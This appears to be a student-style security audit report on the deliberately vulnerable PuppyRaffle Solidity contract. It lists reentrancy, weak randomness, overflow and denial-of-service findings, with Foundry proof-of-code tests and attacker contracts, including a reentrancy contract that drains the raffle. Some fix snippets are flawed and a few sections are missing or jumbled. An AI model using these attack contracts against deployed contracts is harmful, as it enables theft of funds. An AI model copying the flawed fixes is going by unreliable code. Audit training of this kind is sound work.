



PuppyRaffle Audit Report

Version 1.0

Niksana

June 13, 2026

PuppyRaffle security research Report

Niksana

June 13, 2026

Prepared by: Lead Auditors: - Niksana

Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
 - Scope
 - Roles
- Executive Summary
 - Issues found
- Findings

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
 1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.

2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a `feeAddress` to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The independent security researcher Niksana makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the independent security researcher is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: `e30d199697bbc822b646d76533b66b7d529b8ef5`
- In Scope: `## Scope`

```
1 ./src/  
2 #-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function.

Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

It was an honor for me to audit this codebase. Patrick is such a wizard at writing intentionally bad code.

Issues found

Severity	Number of issues found
High	4
Medium	4
Low	2
Info	9
Gas	2
Total	21

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance

Description: The `PuppyRaffle::refund` function does not follow CEI (Checks, Effects, Interactions)/FRI-PI pattern and as a result, enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after making that external call, we update the `PuppyRaffle::players` array.

```
1     function refund(uint256 playerIndex) public {
2         address playerAddress = players[playerIndex];
3         require(playerAddress == msg.sender, "PuppyRaffle: Only the
           player can refund");
4         require(playerAddress != address(0), "PuppyRaffle: Player
           already refunded, or is not active");
5
6         @> payable(msg.sender).sendValue(entranceFee);
7         @> players[playerIndex] = address(0);
8
9         emit RaffleRefunded(playerAddress);
10    }
```

A player who has entered the raffle could have a `fallback/receive` function that calls the `PuppyRaffle::refund` function again and claim another refund. They could continue the cycle till the contract balance is drained.

Impact: All fees paid by raffle entrants could be stolen by the malicious participant.

Proof of Concept:

1. User enters the raffle
2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund`
3. Attacker enters the raffle
4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the contract balance.

Proof of Code

Place the following code into `PuppyRaffleTest.t.sol` file.

```
1     function test_reentrancyRefund() public {
2         // We'll have a bunch of players enter the raffle.
3         // users entering raffle
4         address[] memory players = new address[](4);
5         players[0] = playerOne;
6         players[1] = playerTwo;
7         players[2] = playerThree;
8         players[3] = playerFour;
9         puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
10
11         // create attack contract and user
12         // First we'll create an instance of the attacker contract and
           an attacker address, funding it with 1 ether.
13         ReentrancyAttacker attackerContract = new ReentrancyAttacker(
           puppyRaffle);
14         vm.deal(address(attackerContract), 1 ether);
15
16         // noting starting balances
```

```
17      // Next, we'll grab some balances so we're able to log our
      changes after the attack.
18      uint256 startingAttackContractBalance = address(
          attackerContract).balance;
19      uint256 startingContractBalance = address(puppyRaffle).balance;
20
21      // attack
22      //We finally call the attack, like so: attackerContract
23      attackerContract.attack();
24
25      uint256 endingAttackerBalance = address(attackerContract).
          balance;
26      uint256 endingContractBalance = address(puppyRaffle).balance;
27
28      // impact
29      // Then we'll console.log the impact:
30      console.log("starting attacker contract balance: ",
          startingAttackContractBalance);
31      console.log("starting contract balance: ",
          startingContractBalance);
32
33      console.log("ending attacker contract balance: ",
          endingAttackerBalance);
34      console.log("ending contract balance: ", endingContractBalance)
          ;
35
36      assertEq(endingAttackerBalance, startingAttackContractBalance +
          startingContractBalance);
37      assertEq(endingContractBalance, 0);
38  }
```

And this contract as well.

```
1  contract ReentrancyAttacker {
2      PuppyRaffle puppyRaffle;
3      uint256 entranceFee;
4      uint256 attackerIndex;
5
6      constructor(PuppyRaffle _puppyRaffle) {
7          puppyRaffle = _puppyRaffle;
8          entranceFee = puppyRaffle.entranceFee();
9      }
10
11     function attack() external payable {
12         address[] memory players = new address[](1);
13         players[0] = address(this);
14         puppyRaffle.enterRaffle{value: entranceFee}(players);
15         attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
            ;
16         puppyRaffle.refund(attackerIndex);
17         // Once deployed, this attack function is going to kick off the
```

```
        attack. In order, 1. we're entering the raffle, 2.
        acquiring our playerId, and then 3. refunding our
        entranceFee.
18     }
19
20     // Adding these functions to our ReentrancyAttacker contract
        finishes the job. When funds are sent back to our contract, the
        fallback or receive functions are called which is going to
        trigger another refund call in our _stealMoney function,
        completing the loop until the PuppyRaffle contract is drained!
21     function _stealMoney() internal {
22         if (address(puppyRaffle).balance >= entranceFee){
23             puppyRaffle.refund(attackerIndex);
24         }
25     }
26
27     fallback() external payable {
28         _stealMoney();
29     }
30
31     receive() external payable {
32         _stealMoney();
33     }
34
35 }
```

Recommended Mitigation: To prevent this we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally we should move the event emission up as well.

```
1     function refund(uint256 playerId) public {
2         address playerAddress = players[playerIndex];
3         require(playerAddress == msg.sender, "PuppyRaffle: Only the
        player can refund");
4         require(playerAddress != address(0), "PuppyRaffle: Player
        already refunded, or is not active");
5 +         players[playerIndex] = address(0);
6 +         emit RaffleRefunded(playerAddress);
7         payable(msg.sender).sendValue(entranceFee);
8 -         players[playerIndex] = address(0);
9 -         emit RaffleRefunded(playerAddress);
10    }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner

Description: Hashing `msg.sender`, `block.timestamp` and `block.difficulty` together creates a predictable number. A predictable number is not a good random number. Malicious users can

manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note: This additionally means users could front-run this function and call `refund` if they see they are not the winner

Impact: Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffles.

Proof of Concept:

There are a few attack vectors here.

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. See the solidity blog on prevrandao. `block.difficulty` was recently replaced with prevrandao.
2. User can mine/manipulate the `msg.sender` value to result in their address being the winner!
3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space.

Recommended Mitigation: Consider using a cryptographically provable random number generator (an oracle for your randomness) such as Chainlink VRF

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees.

Description: In solidity versions prior to 0.8.0 integers were subject to integer overflows.

```
1 uint64 myVar = type(uint64).max;
2 // myVar will be 18,446,744,073,709,551,615 ~ 18 ETH
3 myVar = myVar + 1;
4 // myVar will be 0 resulting in overflow
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept: 1. We conclude a raffle of 4 players. 2. We then have 89 players enter a new raffle, and conclude the raffle 3. `totalFees` will be:

```
1 totalFees = totalFees + uint64(fee);
2 // substituted
3 totalFees = 8000000000000000000 + 17800000000000000000;
4 // due to overflow, the following is now the case
```



```
5 totalFees = 153255926290448384; // ~ 1.5 ETH as opposed to 25.8 ETH
```

4. You will not be able to withdraw, due to this line in `PuppyRaffle::withdrawFees`:

```
1 require(address(this).balance == uint256(totalFees), "PuppyRaffle:
   There are currently players active!");
```

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not the intended design of the protocol. At some point there will be too much balance in the contract that the above will be impossible to hit.

Proof Of Code

Place the following test into 'PuppyRaffleTest.t.sol'.

```
1 function test_totalFeesOverflow() public playersEntered {
2     // We finish a raffle of 4 to collect some fees
3     vm.warp(block.timestamp + duration + 1);
4     vm.roll(block.number + 1);
5     puppyRaffle.selectWinner();
6     uint256 startingTotalFees = puppyRaffle.totalFees();
7     // startingTotalFees = 8000000000000000000 8e17
8
9     // We then have 89 players enter a new raffle
10    uint256 playersNum = 89;
11    address[] memory players = new address[](playersNum);
12    for (uint256 i = 0; i < playersNum; i++) {
13        players[i] = address(i);
14    }
15    puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
        players);
16    // We end the raffle
17    vm.warp(block.timestamp + duration + 1);
18    vm.roll(block.number + 1);
19    // And here is where the issue occurs
20    // We will now have fewer fees even though we just finished a
        second raffle
21    puppyRaffle.selectWinner();
22
23    uint256 endingTotalFees = puppyRaffle.totalFees();
24    console.log("starting total fees", startingTotalFees);
25    console.log("ending total fees", endingTotalFees);
26    assert(endingTotalFees < startingTotalFees);
27
28    // We are also unable to withdraw any fees because of the
        require check
29    vm.prank(puppyRaffle.feeAddress());
30    vm.expectRevert("PuppyRaffle: There are currently players
        active!");
31    puppyRaffle.withdrawFees();
```

```
32     }
```

Recommended Mitigation: There are a few possible mitigations.

1. Use a newer version of Solidity that does not allow integer overflows by default.

```
1     - pragma solidity ^0.7.6;  
2     + pragma solidity ^0.8.18;
```

Alternatively, if you want to use an older version of Solidity, you can use a library like OpenZeppelin's [SafeMath](#) to prevent integer overflows.

1. Use a `uint256` instead of a `uint64` for `totalFees`.

```
1     - uint64 public totalFees = 0;  
2     + uint256 public totalFees = 0;
```

2. Remove the balance check from `PuppyRaffle::withdrawFees`

```
1     - require(address(this).balance == uint256(totalFees), "PuppyRaffle:  
    There are currently players active!");
```

We additionally want to bring your attention to another attack vector as a result of this line in a future finding. It is at (M-2)!

[H-4] Malicious winner can forever halt the raffle

Description: Once the winner is chosen, the `selectWinner` function sends the prize to the the corresponding address with an external call to the winner account.

```
1     (bool success,) = winner.call{value: prizePool}("");  
2     require(success, "PuppyRaffle: Failed to send prize pool to winner"  
    );
```

If the `winner` account were a smart contract that did not implement a payable `fallback` or `receive` function, or these function were included but reverted, the external call above would fail, and execution of the `selectWinner` function would halt. Therefore, the prize would never be distributed and the raffle would never be able to start a new round.

There's another attack vector that can be used to halt the raffle, leveraging the fact that the `selectWinner` function mints an NFT to the winner using the `_safeMint` function. This function, inherited from the `ERC721` contract, attempts to call the `onERC721Received` hook on the receiver if it is a smart contract. Reverting when the contract does not implement such function.

Therefore, an attacker can register a smart contract in the raffle that does not implement the `onERC721Received` hook expected. This will prevent minting the NFT and will revert the call to `selectWinner`.

Impact: In either case, because it'd be impossible to distribute the prize and start a new round, the raffle would be halted forever.

Proof of Concept:

Proof Of Code

Place the following code into `PuppyRaffleTest.t.sol` file.

```
1     function testSelectWinnerDoS() public {
2         vm.warp(block.timestamp + duration + 1);
3         vm.roll(block.number + 1);
4
5         address[] memory players = new address[](4);
6         players[0] = address(new AttackerContract());
7         players[1] = address(new AttackerContract());
8         players[2] = address(new AttackerContract());
9         players[3] = address(new AttackerContract());
10        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
11
12        vm.expectRevert();
13        puppyRaffle.selectWinner();
14    }
```

For example, the `AttackerContract` can be this:

```
1     contract AttackerContract {
2         // Implements a `receive` function that always reverts
3         receive() external payable {
4             revert();
5         }
6     }
```

Or this:

```
1     contract AttackerContract {
2         // Implements a `receive` function to receive prize, but does
3         // not implement `onERC721Received` hook to receive the NFT.
4         receive() external payable {}
5     }
```

Recommended Mitigation: Favor pull-payments over push-payments. This means modifying the `selectWinner` function so that the winner account has to claim the prize by calling a function, instead of having the contract automatically send the funds during execution of `selectWinner`.

Medium

[M-1] Looping through players array to check for duplicate in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, incrementing gas costs for future entrants

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle::players` array is, the more checks a new player will have to make. This means the gas costs for players who enter right when the raffle starts will be dramatically lower than those who enter later. Every additional address in the `players` array, is an additional check the loop will have to make.

Note to students: This next line would likely be it's own finding itself. However, we haven't been taught about MEV yet, so we are going to ignore it. Additionally, this increased gas cost creates front-running opportunities where malicious users can front-run another raffle entrant's transaction, increasing its costs, so their enter transaction fails.

Impact: The impact is two-fold.

1. The gas cost for raffle entrants will greatly increase as more players enter the raffle. Discouraging later users from entering, and causing a rush at the start of a raffle to be the one of the first entrants in the queue. An attacker might make the `PuppyRaffle::entrants` array so big that no-one else enters, guaranteeing themselves the win.
2. Front-running opportunities are created for malicious users to increase the gas costs of other users, so their transaction fails.

Proof of Concept:

If we have 2 sets of 100 players enter, the gas costs will be as such: - 1st 100 players: ~ 6503275 gas - 2nd 100 players: ~ 18995515 gas

This is nearly 3x more expensive for the second 100 players entering the raffle!

This is due to the `for` loop in the `PuppyRaffle::enterRaffle` function.

```
1 // @audit Dos Attack
2 @> for(uint256 i = 0; i < players.length -1; i++){
3     for(uint256 j = i+1; j< players.length; j++){
4         require(players[i] != players[j],"PuppyRaffle: Duplicate Player");
5     }
6 }
```

Proof Of Code

Place the following test into 'PuppyRaffleTest.t.sol'.

```
1      function test_denialOfService() public {
2          vm.txGasPrice(1);
3
4          // Let's enter 100 players
5          uint256 playersNum = 100;
6          address[] memory players = new address[](playersNum);
7          for(uint256 i = 0; i < playersNum; i++){
8              players[i] = address(i);
9              // address(1)
10             // address(2)
11             //... address(99) from 0 to 99 unique addresses
12         }
13
14         // see how much gas it costs
15         uint256 gasStart = gasleft();
16         puppyRaffle.enterRaffle{value: entranceFee * players.length}(
17             players);
18         uint256 gasEnd = gasleft();
19         uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
20         console.log("Gas cost of the first 100 players", gasUsedFirst);
21
22         // now for the 2nd 100 players
23         address[] memory playersTwo = new address[](playersNum);
24         for(uint256 i = 0; i < playersNum; i++){
25             playersTwo[i] = address(i + playersNum); // address(i +
26                 // playersNum) instead of 0, 1, 2, we do -> 100, 101, 102,
27                 // 103 etc. so there are no duplicates
28         }
29
30         // see how much more gas it costs
31         uint256 gasStartSecond = gasleft();
32         puppyRaffle.enterRaffle{value: entranceFee * players.length}(
33             playersTwo);
34         uint256 gasEndSecond = gasleft();
35         uint256 gasUsedSecond = (gasStartSecond - gasEndSecond) * tx.
36             gasprice;
37         console.log("Gas cost of the second 100 players", gasUsedSecond
38             );
39
40         assert(gasUsedSecond > gasUsedFirst);
41
42         // Logs:
43         //      Gas cost of the first 100 players 6503275
44         //      Gas cost of the second 100 players 18995515
45     }
```

Recommended Mitigation: There are a few recommendations

1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check doesn't prevent the same person from entering a multiple times, only the same wallet

address.

2. Consider using a mapping to check for duplicates. This would allow you to check for duplicates in constant time, rather than linear time. You could have each raffle have a `uint256` id, and the mapping would be a player address mapped to the raffle id.

```
1 + mapping(address => uint256) public addressToRaffleId;
2 + uint256 public raffleId = 0;
3 .
4 .
5 .
6 function enterRaffle(address[] memory newPlayers) public payable {
7     require(msg.value == entranceFee * newPlayers.length, "
8         PuppyRaffle: Must send enough to enter raffle");
9     for (uint256 i = 0; i < newPlayers.length; i++) {
10 +         players.push(newPlayers[i]);
11 +         addressToRaffleId[newPlayers[i]] = raffleId;
12     }
13 -     // Check for duplicates
14 +     // Check for duplicates only from the new players
15 +     for (uint256 i = 0; i < newPlayers.length; i++) {
16 +         require(addressToRaffleId[newPlayers[i]] != raffleId, "
17 +         PuppyRaffle: Duplicate player");
18 -     }
19 -     for (uint256 i = 0; i < players.length; i++) {
20 -         for (uint256 j = i + 1; j < players.length; j++) {
21 -             require(players[i] != players[j], "PuppyRaffle:
22 -             Duplicate player");
23 -         }
24 -     }
25     emit RaffleEnter(newPlayers);
26 }
27 .
28 function selectWinner() external {
29 +     raffleId = raffleId + 1;
30     require(block.timestamp >= raffleStartTime + raffleDuration, "
        PuppyRaffle: Raffle not over");
```

3. Alternatively, you could use [OpenZeppelin's `EnumerableSet` library] (<https://docs.openzeppelin.com/contracts/2.x/api/utils/EnumerableSet>)

[M-2] Balance check on `PuppyRaffle::withdrawFees` enables griefers to selfdestruct a contract to send ETH to the raffle, blocking withdrawals

Description: The `PuppyRaffle::withdrawFees` function checks the `totalFees` equals the ETH balance of the contract (`address(this).balance`). Since this contract doesn't have a

`payable fallback` or `receive` function, you'd think this wouldn't be possible, but a user could `selfdestruct` a contract with ETH in it and force funds to the `PuppyRaffle` contract, breaking this check.

```
1 function withdrawFees() external {
2   @> require(address(this).balance == uint256(totalFees), "PuppyRaffle:
   There are currently players active!");
3   uint256 feesToWithdraw = totalFees;
4   totalFees = 0;
5   (bool success,) = feeAddress.call{value: feesToWithdraw}("");
6   require(success, "PuppyRaffle: Failed to withdraw fees");
7 }
```

Impact: This would prevent the `feeAddress` from withdrawing fees. A malicious user could see `withdrawFee` transaction in the mempool, front-run it, and block the withdrawal by sending fees.

Proof of Concept: 1. `PuppyRaffle` has 800 wei in it's balance, and 800 `totalFees`. 2. Malicious user sends 1 wei via a `selfdestruct` 3. `feeAddress` is no longer able to withdraw funds

Recommended Mitigation: Remove the balance check on the `PuppyRaffle::withdrawFees` function.

```
1 function withdrawFees() external {
2   // @audit skipped is it difficulty to withdraw fees if there
   are players (MEV)
3   // @audit written mishandling ETH!!!
4   - require(address(this).balance == uint256(totalFees), "
   PuppyRaffle: There are currently players active!");
5   // e The next two lines are resetting our totalFees, seems fine
   .
6   uint256 feesToWithdraw = totalFees;
7   totalFees = 0;
8
9   // slither-disable-next-line arbitrary-send-eth
10  (bool success,) = feeAddress.call{value: feesToWithdraw}("");
11  require(success, "PuppyRaffle: Failed to withdraw fees");
12 }
```

[M-3] Unsafe cast of `PuppyRaffle::fee` loses fees

Description: In `PuppyRaffle::selectWinner` there is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
1 function selectWinner() external {
2   require(block.timestamp >= raffleStartTime + raffleDuration, "
   PuppyRaffle: Raffle not over");
```

```
3         require(players.length > 0, "PuppyRaffle: No players in raffle"
4             );
5         uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.
6             sender, block.timestamp, block.difficulty))) % players.
7             length;
8         address winner = players[winnerIndex];
9         uint256 fee = totalFees / 10;
10        uint256 winnings = address(this).balance - fee;
11    @>    totalFees = totalFees + uint64(fee);
12        players = new address[] (0);
13        emit RaffleWinner(winner, winnings);
14    }
```

The max value of a `uint64` is 18446744073709551615. In terms of ETH, this is only ~ 18 ETH. Meaning, if more than 18 ETH of fees are collected, the `fee` casting will truncate the value.

Impact: This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
1 uint256 max = type(uint64).max
2 uint256 fee = max + 1
3 uint64(fee)
4 // prints 0
```

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. There is a comment which says:

```
1 // We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
1 - uint64 public totalFees = 0;
2 + uint256 public totalFees = 0;
3 .
4 .
5 .
6     function selectWinner() external {
7         require(block.timestamp >= raffleStartTime + raffleDuration, "
8             PuppyRaffle: Raffle not over");
9         require(players.length >= 4, "PuppyRaffle: Need at least 4
10             players");
```



```
9      uint256 winnerIndex =
10          uint256(keccak256(abi.encodePacked(msg.sender, block.
            timestamp, block.difficulty))) % players.length;
11      address winner = players[winnerIndex];
12      uint256 totalAmountCollected = players.length * entranceFee;
13      uint256 prizePool = (totalAmountCollected * 80) / 100;
14      uint256 fee = (totalAmountCollected * 20) / 100;
15 -     totalFees = totalFees + uint64(fee);
16 +     totalFees = totalFees + fee;
```

[M-4] Smart contract wallets raffle winners without a receive or a fallback function will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Users could easily call the `selectWinner` function again, non-wallet entrants could enter, but it could cost a lot of gas due to the duplicate check and a lottery reset could get very challenging.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, making a lottery reset very difficult, preventing a new one from starting.

Also, true winners would not get paid out and someone else could take their money!

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a fallback or receive function.
2. The lottery sends.
3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout amounts so winners can pull their funds out themselves with a new `claimPrize` function, putting the ownership on the winner to claim their prize. (Recommended)

Pull over Push

Low

[L-1] Potentially erroneous active player index

Description: The `PuppyRaffle::getActivePlayerIndex` returns 0 for non-active players and for players at index 0 stored in the first slot of the `players` array. This may cause confusions for users querying the function to obtain the index of an active player.

```
1    /// @return the index of the player in the array, if they are not
    active, it returns 0
2    function getActivePlayerIndex(address player) external view returns
    (uint256) {
3        for (uint256 i = 0; i < players.length; i++) {
4            if (players[i] == player) {
5                return i;
6            }
7        }
8        return 0;
9    }
```

Impact: A player at index 0 may incorrectly think they have not entered the raffle, and attempt to enter the raffle again, waisting gas.

Proof of Concept:

1. User enters the raffle, they are first entrant
2. `PuppyRaffle::getActivePlayerIndex` returns 0
3. User thinks they have not entered correctly due to the function documentation.

Recommended Mitigation: Return $2^{256}-1$ (or any other sufficiently high number) to signal that the given player is inactive, so as to avoid collision with indices of active players.

[L-2] Zero address may be erroneously considered an active player

Description: The `refund` function removes the active players from the `players` array by setting the corresponding slots to zero. This is confirmed by its documentation, stating that “This function will allow there to be blank spots in the array”. However, this is not taken into account by the `getActivePlayerIndex` function. If someone calls `getActivePlayerIndex` passing the zero address after there’s been a refund, the function will consider the zero address an active player, and return its index in the `players` array.

Recommended Mitigation: Skip zero addresses when iterating the `players` array in the `getActivePlayerIndex`. Do note that this change would mean that the zero address can

never be an active player. Therefore, it would be best if you also prevented the zero address from being registered as a valid player in the `enterRaffle` function.

Gas

[G-1] Unchanged state variables should be declared constant or immutable.

Reading from storage is much more expensive than reading from a constant or immutable variable.

Instances: - `PuppyRaffle::raffleDuration` should be `immutable` - `PuppyRaffle::commonImageUri`, `PuppyRaffle::rareImageUri` and `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage variables in a loop should be cached.

Every time you call `players.length` you read from storage, as opposed to memory which is more gas efficient.

```
1 +     uint256 playersLength = players.length;
2 -     for (uint256 i = 0; i < players.length - 1; i++) {
3 +     for (uint256 i = 0; i < playersLength - 1; i++) {
4 -         for (uint256 j = i + 1; j < players.length; j++) {
5 +         for (uint256 j = i + 1; j < playersLength; j++) {
6             require(players[i] != players[j], "PuppyRaffle:
              Duplicate player");
7         }
8     }
```

Informational/Non-Crits

[I-1]: Floating pragmas / Unspecific Solidity Pragma.

Description: Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^7.6.0`;, use `pragma solidity 0.7.6`;. Locking the version ensures that contracts are not deployed with a different version of solidity than they were tested with. An incorrect version could lead to unintended results. (<https://swcregistry.io/docs/SWC-103/>)

Recommended Mitigation: Lock up pragma versions.

```
1 -     pragma solidity ^0.7.6;
2 +     pragma solidity 0.7.6;
```


4	+=====			
5	<code>script/DeployPuppyRaffle.sol</code>	0.00% (0/4)	0.00% (0/4)	
6	100.00% (0/0)	0.00% (0/1)		
7	<code>src/PuppyRaffle.sol</code>	84.00% (63/75)	84.71% (72/85)	
8	69.23% (18/26)	80.00% (8/10)		
9	<code>test/PuppyRaffleTest.t.sol</code>	87.50% (14/16)	91.67% (11/12)	
10	100.00% (1/1)	80.00% (4/5)		
11	Total	81.05% (77/95)	82.18% (83/101)	
12	70.37% (19/27)	75.00% (12/16)		

Recommended Mitigation: Increase test coverage to 90% or higher, especially for the [Branches](#) column.

[I-5] Address State Variable Set Without Checks

Description: The `PuppyRaffle` doesn't validate that the `feeAddress` is not `address(0)`. This means that the `feeAddress` could be set to the zero address, and fees would be lost.

```

1  PuppyRaffle.constructor(uint256,address,uint256)._feeAddress (src/
    PuppyRaffle.sol#60) lacks a zero-check on :
2      - feeAddress = _feeAddress (src/PuppyRaffle.sol#62)
3  PuppyRaffle.changeFeeAddress(address newFeeAddress) (src/
    PuppyRaffle.sol#167) lacks a zero-check on :
4      - feeAddress = newFeeAddress (src/PuppyRaffle.sol#168)

```

Recommended Mitigation: Add a zero address check whenever the `feeAddress` is updated.

[I-6] `PuppyRaffle::_isActivePlayer` is never used and should be removed

Description: Functions that are not used are making the protocol more gas expensive. Consider removing them.

```

1  - function _isActivePlayer() internal view returns (bool) {
2  -     for (uint256 i = 0; i < players.length; i++) {
3  -         if (players[i] == msg.sender) {
4  -             return true;
5  -         }

```

```
6 -     }
7 -     return false;
8 - }
```

[I-7] PuppyRaffle::selectWinner does not follow CEI, which is not a best practice

It's best to keep code clean and follow CEI(Checks, Effects, Interactions).

```
1 -     (bool success,) = winner.call{value: prizePool}("");
2 -     require(success, "PuppyRaffle: Failed to send prize pool to
    winner");
3 -     _safeMint(winner, tokenId);
4 +     (bool success,) = winner.call{value: prizePool}("");
5 +     require(success, "PuppyRaffle: Failed to send prize pool to
    winner");
```

[I-8] Naming conventions used for storage variables.

There is a better desing pattern for writing the storage variables

Recommendation: Instead of writing `PuppyRaffle::raffleDuration` using only `variableName`, it would be better to use the `s_variableName` naming convention for storage variables

Instantces: - `PuppyRaffle::raffleDuration` should be `PuppyRaffle::s_raffleDuration`. The same applies for other storage variables!

[I-9] State changes are missing events

Description: There are state variable changes in this function but no event is emitted. Consider emitting an event to enable offchain indexers to track the changes.

1 Found Instances

- Found in `src/PuppyRaffle.sol` Line: 209

```
1     function withdrawFees() external {
```